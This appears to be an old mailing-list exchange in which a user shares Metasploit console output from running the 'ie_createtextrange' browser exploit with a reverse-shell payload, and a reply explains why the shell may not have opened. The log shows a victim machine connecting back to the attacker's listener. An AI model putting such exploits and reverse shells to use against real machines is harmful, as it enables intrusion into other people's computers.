ie_createtextrange

[mmiller at hick.org (mmiller at hick.org)]

On Mon, Apr 03, 2006 at 09:05:33PM +0200, Sebastian Funk wrote:
> Hi,
>
> I tried the "ie_createtextrange"-exploit, and in some trys it worked  
> just fine. But with one computer (Win XP and AntiVirGuard) it  
> suddenly doesn't. I get this back:
>
>       msf ie_createtextrange(win32_reverse) > exploit
>       [*] Starting Reverse Handler.
>       [*] Waiting for connections to http://192.168.2.100:8080/
>       [*] Client connected from 34.158.237.102:2455 (Windows).
>       [*] Got connection from 192.168.2.100:80 <-> 34.158.237.102:2456
>
>       [*] Exiting Reverse Handler.

If this happens, it may mean that cmd.exe failed to execute (but that
the reverse connect succeeded).  Alternatively, it may mean that
something other than the payload connected to the listener for the
reverse connection.  Do you see exiting reverse handler right when 'Got
connection' shows up?